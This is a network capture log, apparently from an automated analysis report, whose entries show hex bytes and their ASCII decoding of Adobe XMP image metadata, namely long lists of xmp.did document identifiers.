2022-07-20 13:44:18 UTC	3669	IN	Data Raw: 37 38 45 37 46 33 37 42 36 37 36 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 39 43 38 39 34 32 41 30 46 32 30 36 38 31 31 38 41 36 44 44 35 39 43 30 38 34 43 38 32 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 39 44 35 46 44 32 34 32 32 32 33 36 38 31 31 38 30 38 33 42 35 33 34 33 36 30 39 35 35 45 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 39 44 43 37 42 42 37 39 38 32 31 36 38 31 31 38 46 36 32 41 30 46 44 44 38 46 41 33 37 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 39 44 45 30 42 39 39 30 44 32 30 36 38 31 31 38 30 38 33 45 44 43 46 30 37 45 34 31 37 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 Data Ascii: 78E7F37B6764D</rdf:li> <rdf:li>xmp.did:29C8942A0F2068118A6DD59C084C826C</rdf:li> <rdf:li>xmp.did:29D5FD24222368118083B534360955E9</rdf:li> <rdf:li>xmp.did:29DC7BB7982168118F62A0FDD8FA37F2</rdf:li> <rdf:li>xmp.did:29DE0B990D2068118083EDCF07E41711</rdf:li>
2022-07-20 13:44:18 UTC	3685	IN	Data Raw: 43 37 37 45 31 31 31 41 37 44 39 45 39 39 39 30 30 36 34 34 37 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 37 30 34 45 36 46 32 36 35 34 45 31 31 45 34 42 43 42 31 39 46 30 43 36 37 41 38 44 46 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 37 34 33 45 32 31 31 31 36 32 30 36 38 31 31 38 30 38 33 46 37 42 31 30 46 39 46 32 41 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 37 35 31 36 33 39 36 2d 65 66 66 64 2d 34 61 66 32 2d 38 32 33 66 2d 38 65 66 33 61 34 65 65 36 30 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 37 36 34 31 37 31 45 36 37 33 46 45 30 31 31 41 41 30 43 38 37 39 45 35 33 32 44 Data Ascii: C77E111A7D9E999006447CD</rdf:li> <rdf:li>xmp.did:3704E6F2654E11E4BCB19F0C67A8DFBC</rdf:li> <rdf:li>xmp.did:3743E211162068118083F7B10F9F2A14</rdf:li> <rdf:li>xmp.did:37516396-effd-4af2-823f-8ef3a4ee6086</rdf:li> <rdf:li>xmp.did:3764171E673FE011AA0C879E532D
2022-07-20 13:44:18 UTC	3693	IN	Data Raw: 38 31 31 38 30 38 33 38 30 36 34 31 35 41 45 31 38 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 46 35 30 36 35 31 45 30 42 32 30 36 38 31 31 39 35 46 45 38 41 37 43 39 38 43 31 33 38 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 46 37 42 39 44 41 41 36 35 44 38 44 45 31 31 41 46 44 43 39 39 31 34 44 42 36 36 33 32 46 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 46 38 39 30 45 32 36 43 38 41 34 45 32 31 31 38 42 36 43 41 37 34 43 37 39 38 30 44 32 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 46 38 41 38 44 36 38 34 34 32 30 36 38 31 31 41 34 38 32 46 37 45 33 32 32 39 42 31 31 30 43 3c 2f 72 64 Data Ascii: 8118083806415AE183A</rdf:li> <rdf:li>xmp.did:3F50651E0B20681195FE8A7C98C1382D</rdf:li> <rdf:li>xmp.did:3F7B9DAA65D8DE11AFDC9914DB6632FA</rdf:li> <rdf:li>xmp.did:3F890E26C8A4E2118B6CA74C7980D239</rdf:li> <rdf:li>xmp.did:3F8A8D6844206811A482F7E3229B110C</rd
2022-07-20 13:44:18 UTC	3709	IN	Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 44 32 35 36 37 45 46 38 34 32 34 36 38 31 31 39 34 35 37 46 46 30 33 44 30 46 32 37 41 34 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 44 32 37 33 33 35 44 45 38 39 38 45 30 31 31 41 44 46 41 44 45 30 38 31 44 46 46 37 38 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 44 33 35 44 32 38 32 31 30 36 34 45 30 31 31 42 43 30 36 39 45 45 33 41 33 46 33 36 36 46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 44 36 32 30 42 38 31 30 46 32 30 36 38 31 31 42 34 42 43 43 32 41 38 45 42 43 37 38 31 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 44 38 Data Ascii: li> <rdf:li>xmp.did:4D2567EF842468119457FF03D0F27A45</rdf:li> <rdf:li>xmp.did:4D27335DE898E011ADFADE081DFF78DE</rdf:li> <rdf:li>xmp.did:4D35D2821064E011BC069EE3A3F366F3</rdf:li> <rdf:li>xmp.did:4D620B810F206811B4BCC2A8EBC78135</rdf:li> <rdf:li>xmp.did:4D8
2022-07-20 13:44:18 UTC	3725	IN	Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 42 34 35 46 36 35 41 44 31 41 36 45 31 31 31 39 36 33 41 45 46 42 38 43 39 31 30 39 35 39 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 42 34 41 44 42 37 34 33 46 32 30 36 38 31 31 39 32 42 30 46 36 30 42 41 35 39 44 35 32 46 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 42 35 36 46 44 42 38 32 34 39 32 45 32 31 31 42 33 45 45 44 42 30 43 42 38 36 38 38 44 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 42 35 41 35 35 38 38 37 36 32 30 36 38 31 31 38 46 36 32 43 33 42 30 31 36 43 41 45 44 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 Data Ascii: f:li> <rdf:li>xmp.did:5B45F65AD1A6E111963AEFB8C9109593</rdf:li> <rdf:li>xmp.did:5B4ADB743F20681192B0F60BA59D52F6</rdf:li> <rdf:li>xmp.did:5B56FDB82492E211B3EEDB0CB8688D94</rdf:li> <rdf:li>xmp.did:5B5A5588762068118F62C3B016CAEDE5</rdf:li> <rdf:li>xmp.did:5
2022-07-20 13:44:18 UTC	3733	IN	Data Raw: 45 39 44 30 39 34 43 35 44 46 31 31 38 38 35 33 44 36 34 42 39 44 41 34 41 35 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 31 38 45 46 37 38 36 37 33 32 30 36 38 31 31 38 43 31 34 39 30 43 38 35 31 36 38 43 46 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 31 39 41 30 42 35 37 33 46 32 32 45 30 31 31 42 32 32 42 42 38 43 31 30 44 31 35 30 33 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 31 39 61 31 61 66 65 2d 64 30 62 35 2d 34 34 66 66 2d 39 39 30 31 2d 38 66 63 36 31 61 35 61 63 38 33 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 31 41 32 37 43 30 36 32 39 32 30 36 38 31 31 38 38 43 36 39 45 36 Data Ascii: E9D094C5DF118853D64B9DA4A509</rdf:li> <rdf:li>xmp.did:618EF786732068118C1490C85168CF5C</rdf:li> <rdf:li>xmp.did:619A0B573F22E011B22BB8C10D15033E</rdf:li> <rdf:li>xmp.did:619a1afe-d0b5-44ff-9901-8fc61a5ac83d</rdf:li> <rdf:li>xmp.did:61A27C062920681188C69E6
2022-07-20 13:44:18 UTC	3749	IN	Data Raw: 61 37 31 2d 34 33 37 64 2d 62 37 33 35 2d 33 64 32 65 32 66 63 38 35 39 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 66 62 64 38 30 63 33 2d 61 32 62 64 2d 33 65 34 63 2d 38 30 63 62 2d 38 63 31 30 35 32 31 63 33 31 39 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 66 64 31 34 34 64 33 2d 35 30 64 63 2d 34 64 36 30 2d 61 65 66 35 2d 63 65 35 34 66 66 35 61 33 65 66 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 66 66 65 33 37 37 65 2d 38 64 31 34 2d 34 30 32 37 2d 39 33 63 36 2d 64 36 34 33 35 36 32 35 33 38 35 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 30 30 30 35 66 61 31 2d 31 32 38 30 2d 36 64 34 Data Ascii: a71-437d-b735-3d2e2fc85931</rdf:li> <rdf:li>xmp.did:6fbd80c3-a2bd-3e4c-80cb-8c10521c319f</rdf:li> <rdf:li>xmp.did:6fd144d3-50dc-4d60-aef5-ce54ff5a3efc</rdf:li> <rdf:li>xmp.did:6ffe377e-8d14-4027-93c6-d6435625385d</rdf:li> <rdf:li>xmp.did:70005fa1-1280-6d4
2022-07-20 13:44:18 UTC	3765	IN	Data Raw: 37 62 39 36 64 33 32 38 2d 61 64 30 62 2d 34 32 65 35 2d 39 36 37 62 2d 31 66 64 66 38 61 65 63 39 66 65 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 62 62 61 30 36 39 66 2d 65 61 33 61 2d 38 38 34 35 2d 39 65 31 32 2d 33 30 34 63 31 65 66 33 61 34 65 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 62 66 35 33 35 66 32 2d 31 31 35 62 2d 34 63 62 64 2d 61 61 34 33 2d 32 66 33 66 33 38 33 36 38 32 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 63 31 31 66 35 62 36 2d 65 66 33 38 2d 34 65 35 63 2d 38 63 62 33 2d 65 63 38 65 62 62 33 64 33 63 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 63 33 39 31 35 30 Data Ascii: 7b96d328-ad0b-42e5-967b-1fdf8aec9feb</rdf:li> <rdf:li>xmp.did:7bba069f-ea3a-8845-9e12-304c1ef3a4ef</rdf:li> <rdf:li>xmp.did:7bf535f2-115b-4cbd-aa43-2f3f38368272</rdf:li> <rdf:li>xmp.did:7c11f5b6-ef38-4e5c-8cb3-ec8ebb3d3c67</rdf:li> <rdf:li>xmp.did:7c39150
2022-07-20 13:44:18 UTC	3773	IN	Data Raw: 45 46 30 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 37 35 33 65 33 35 2d 30 39 64 66 2d 62 62 34 64 2d 62 37 64 31 2d 39 31 61 31 66 31 61 66 35 38 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 38 44 30 45 41 35 46 44 39 44 45 31 31 31 41 44 44 32 39 42 36 38 34 45 34 35 45 35 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 41 44 46 32 31 36 36 35 38 44 45 30 31 31 42 45 30 39 39 34 37 34 32 37 34 34 43 37 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 44 30 36 31 45 30 46 30 46 32 44 44 31 31 41 35 38 45 46 37 32 32 33 46 45 42 42 38 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 Data Ascii: EF03E</rdf:li> <rdf:li>xmp.did:85753e35-09df-bb4d-b7d1-91a1f1af5883</rdf:li> <rdf:li>xmp.did:858D0EA5FD9DE111ADD29B684E45E581</rdf:li> <rdf:li>xmp.did:85ADF216658DE011BE0994742744C759</rdf:li> <rdf:li>xmp.did:85D061E0F0F2DD11A58EF7223FEBB8DE</rdf:li> <rdf
2022-07-20 13:44:18 UTC	3789	IN	Data Raw: 33 31 31 41 39 36 41 39 31 36 39 38 33 45 41 34 36 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 31 64 31 33 37 38 62 2d 31 37 32 62 2d 63 30 34 33 2d 61 37 33 35 2d 39 38 32 64 31 36 30 36 37 35 64 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 31 66 30 31 63 65 37 2d 61 61 33 38 2d 61 65 34 65 2d 39 63 66 61 2d 35 30 37 37 61 63 30 34 38 33 61 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 32 31 32 37 36 31 33 39 36 32 32 36 38 31 31 38 43 31 34 46 36 34 37 34 35 33 45 34 30 42 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 32 31 33 34 41 33 35 32 44 32 30 36 38 31 31 38 41 36 44 44 34 36 44 41 30 43 41 Data Ascii: 311A96A916983EA461B</rdf:li> <rdf:li>xmp.did:91d1378b-172b-c043-a735-982d160675db</rdf:li> <rdf:li>xmp.did:91f01ce7-aa38-ae4e-9cfa-5077ac0483a4</rdf:li> <rdf:li>xmp.did:92127613962268118C14F647453E40BA</rdf:li> <rdf:li>xmp.did:92134A352D2068118A6DD46DA0CA
2022-07-20 13:44:18 UTC	3805	IN	Data Raw: 31 41 41 32 35 36 38 31 31 39 37 41 35 46 43 37 42 34 41 33 32 36 34 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 31 30 36 42 38 30 43 36 42 32 30 36 38 31 31 41 45 35 36 43 45 32 37 33 42 35 37 42 33 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 31 30 38 35 41 38 45 43 33 32 30 36 38 31 31 42 45 33 33 45 44 33 44 43 44 31 32 32 39 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 31 30 42 35 34 37 35 32 32 38 41 31 31 45 30 39 45 39 37 42 33 43 34 31 37 32 33 37 37 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 31 30 42 35 34 37 39 32 32 38 41 31 31 45 30 39 45 39 37 42 33 43 34 31 37 32 33 37 37 Data Ascii: 1AA25681197A5FC7B4A3264B5</rdf:li> <rdf:li>xmp.did:A106B80C6B206811AE56CE273B57B30C</rdf:li> <rdf:li>xmp.did:A1085A8EC3206811BE33ED3DCD122986</rdf:li> <rdf:li>xmp.did:A10B5475228A11E09E97B3C417237787</rdf:li> <rdf:li>xmp.did:A10B5479228A11E09E97B3C4172377
2022-07-20 13:44:18 UTC	3809	IN	Data Raw: 69 64 3a 41 35 41 44 45 35 46 44 35 45 42 31 45 30 31 31 39 46 41 31 43 35 45 43 31 44 31 30 41 31 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 35 41 45 42 44 46 38 41 31 45 32 45 30 31 31 38 34 30 30 45 38 31 42 39 31 43 46 43 31 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 35 44 38 37 38 44 39 33 44 32 30 36 38 31 31 38 37 31 46 44 36 45 31 44 33 42 44 30 34 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 35 44 45 36 45 44 36 42 33 32 36 36 38 31 31 38 32 32 41 38 42 42 30 38 45 41 38 45 35 46 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 36 33 37 35 34 39 31 34 37 43 38 45 30 31 31 41 41 42 41 Data Ascii: id:A5ADE5FD5EB1E0119FA1C5EC1D10A162</rdf:li> <rdf:li>xmp.did:A5AEBDF8A1E2E0118400E81B91CFC196</rdf:li> <rdf:li>xmp.did:A5D878D93D206811871FD6E1D3BD04C4</rdf:li> <rdf:li>xmp.did:A5DE6ED6B3266811822A8BB08EA8E5F6</rdf:li> <rdf:li>xmp.did:A637549147C8E011AABA
2022-07-20 13:44:18 UTC	3825	IN	Data Raw: 39 35 31 46 38 43 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 44 33 39 43 31 45 45 46 36 32 32 36 38 31 31 38 32 32 41 44 30 37 43 37 43 43 34 33 38 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 44 36 44 44 37 31 42 38 36 30 41 31 31 45 30 42 35 46 31 39 43 41 33 45 42 42 45 37 37 43 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 44 37 33 45 37 35 39 44 36 32 30 36 38 31 31 38 32 32 41 46 42 45 42 33 36 42 33 44 30 39 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 44 37 44 36 41 37 34 36 33 32 31 36 38 31 31 38 46 36 32 46 41 41 32 35 42 33 35 30 38 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c Data Ascii: 951F8CC</rdf:li> <rdf:li>xmp.did:BD39C1EEF6226811822AD07C7CC438D7</rdf:li> <rdf:li>xmp.did:BD6DD71B860A11E0B5F19CA3EBBE77C1</rdf:li> <rdf:li>xmp.did:BD73E759D6206811822AFBEB36B3D090</rdf:li> <rdf:li>xmp.did:BD7D6A74632168118F62FAA25B3508FE</rdf:li> <rdf:l
2022-07-20 13:44:18 UTC	3841	IN	Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 33 42 33 44 37 30 32 30 46 32 33 36 38 31 31 42 44 33 35 39 32 31 36 34 43 37 30 37 30 31 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 33 44 39 43 37 35 39 35 41 32 30 36 38 31 31 39 32 42 30 42 46 30 39 37 46 37 43 35 37 38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 33 45 41 36 42 42 46 30 45 32 30 36 38 31 31 38 30 38 33 39 33 34 42 39 31 43 43 36 33 36 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 33 46 34 42 42 38 30 31 33 32 30 36 38 31 31 38 46 36 32 41 45 41 42 46 36 42 36 30 31 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 Data Ascii: </rdf:li> <rdf:li>xmp.did:D3B3D7020F236811BD3592164C70701D</rdf:li> <rdf:li>xmp.did:D3D9C7595A20681192B0BF097F7C5780</rdf:li> <rdf:li>xmp.did:D3EA6BBF0E2068118083934B91CC636A</rdf:li> <rdf:li>xmp.did:D3F4BB80132068118F62AEABF6B601CD</rdf:li> <rdf:li>xmp.d
2022-07-20 13:44:18 UTC	3848	IN	Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 43 36 36 44 41 43 42 30 37 32 30 36 38 31 31 39 32 42 30 45 39 30 44 30 34 38 45 41 37 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 43 38 36 34 46 38 39 34 42 31 36 45 30 31 31 39 38 32 46 39 33 30 44 31 38 35 43 33 33 42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 43 41 38 35 32 34 42 31 35 32 30 36 38 31 31 42 31 41 34 43 42 31 44 43 46 46 37 31 30 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 43 42 38 41 46 33 31 33 43 30 45 45 31 31 31 42 36 30 33 43 30 46 46 35 45 41 33 39 46 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 43 42 Data Ascii: li> <rdf:li>xmp.did:DC66DACB0720681192B0E90D048EA72C</rdf:li> <rdf:li>xmp.did:DC864F894B16E011982F930D185C33BB</rdf:li> <rdf:li>xmp.did:DCA8524B15206811B1A4CB1DCFF710A8</rdf:li> <rdf:li>xmp.did:DCB8AF313C0EE111B603C0FF5EA39F70</rdf:li> <rdf:li>xmp.did:DCB
2022-07-20 13:44:18 UTC	3864	IN	Data Raw: 31 38 32 30 36 38 31 31 41 36 31 33 39 46 30 37 36 34 44 30 42 36 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 35 32 30 45 37 33 43 39 33 32 30 36 38 31 31 38 30 38 33 41 32 42 36 43 32 38 33 31 33 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 35 33 37 46 39 33 30 37 45 46 44 44 46 31 31 38 45 33 35 41 35 36 38 31 44 46 33 43 43 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 35 34 32 35 38 35 32 30 43 32 31 36 38 31 31 38 37 31 46 41 38 44 32 44 30 45 30 34 44 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 35 35 36 44 45 43 44 42 45 31 42 45 30 31 31 42 33 30 33 42 42 41 41 36 44 31 46 41 30 41 Data Ascii: 18206811A6139F0764D0B6FC</rdf:li> <rdf:li>xmp.did:F520E73C932068118083A2B6C28313CA</rdf:li> <rdf:li>xmp.did:F537F9307EFDDF118E35A5681DF3CCD9</rdf:li> <rdf:li>xmp.did:F54258520C216811871FA8D2D0E04D77</rdf:li> <rdf:li>xmp.did:F556DECDBE1BE011B303BBAA6D1FA0A
2022-07-20 13:44:18 UTC	3880	IN	Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 31 36 37 38 38 41 34 36 33 42 45 34 31 31 41 44 35 33 38 45 45 30 34 39 32 42 32 34 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 32 39 43 32 44 35 32 37 32 30 36 38 31 31 38 30 38 33 44 42 41 41 43 38 42 41 30 34 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 32 43 36 41 39 32 46 46 33 39 45 31 31 31 38 41 44 44 46 30 31 39 42 46 44 36 34 39 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 33 31 33 38 32 36 35 46 32 32 36 38 31 31 38 46 36 32 45 41 33 41 32 46 45 37 43 44 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 Data Ascii: f:li> <rdf:li>xmp.did:FB16788A463BE411AD538EE0492B24EE</rdf:li> <rdf:li>xmp.did:FB29C2D5272068118083DBAAC8BA0460</rdf:li> <rdf:li>xmp.did:FB2C6A92FF39E1118ADDF019BFD6491C</rdf:li> <rdf:li>xmp.did:FB3138265F2268118F62EA3A2FE7CD71</rdf:li> <rdf:li>xmp.did:F
2022-07-20 13:44:18 UTC	3888	IN	Data Raw: 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 46 43 46 38 46 39 37 30 41 32 30 36 38 31 31 38 30 38 33 43 44 46 44 46 39 42 33 35 31 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 46 46 35 37 33 44 45 46 37 32 30 36 38 31 31 39 31 30 39 44 44 39 41 39 30 35 42 30 33 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 30 30 30 63 37 66 66 2d 31 61 62 31 2d 62 61 34 63 2d 61 32 62 63 2d 30 63 33 65 30 62 34 38 31 65 64 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 30 32 30 31 32 36 32 2d 34 62 35 37 2d 34 64 33 65 2d 39 39 35 61 2d 34 32 37 30 33 31 63 36 35 32 66 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 Data Ascii: <rdf:li>xmp.did:FFCF8F970A2068118083CDFDF9B3510D</rdf:li> <rdf:li>xmp.did:FFF573DEF72068119109DD9A905B03EB</rdf:li> <rdf:li>xmp.did:a000c7ff-1ab1-ba4c-a2bc-0c3e0b481ed9</rdf:li> <rdf:li>xmp.did:a0201262-4b57-4d3e-995a-427031c652f3</rdf:li> <rdf:li>xmp.did
2022-07-20 13:44:18 UTC	3904	IN	Data Raw: 3e 78 6d 70 2e 64 69 64 3a 63 63 65 36 37 62 34 38 2d 35 65 64 37 2d 34 36 64 39 2d 62 39 39 37 2d 38 65 31 35 30 66 37 37 62 63 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 64 35 36 31 61 32 66 2d 32 36 33 36 2d 34 63 36 61 2d 61 66 33 64 2d 37 64 32 66 39 38 64 63 32 66 32 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 64 37 65 33 32 35 37 2d 65 65 62 65 2d 63 62 34 31 2d 39 62 34 37 2d 61 35 35 32 62 35 36 65 38 66 33 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 64 38 66 66 39 64 64 2d 30 63 34 36 2d 34 35 32 30 2d 61 39 65 65 2d 31 63 64 39 39 31 31 33 35 39 36 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 Data Ascii: >xmp.did:cce67b48-5ed7-46d9-b997-8e150f77bc43</rdf:li> <rdf:li>xmp.did:cd561a2f-2636-4c6a-af3d-7d2f98dc2f26</rdf:li> <rdf:li>xmp.did:cd7e3257-eebe-cb41-9b47-a552b56e8f37</rdf:li> <rdf:li>xmp.did:cd8ff9dd-0c46-4520-a9ee-1cd99113596a</rdf:li> <rdf:li>xmp.di
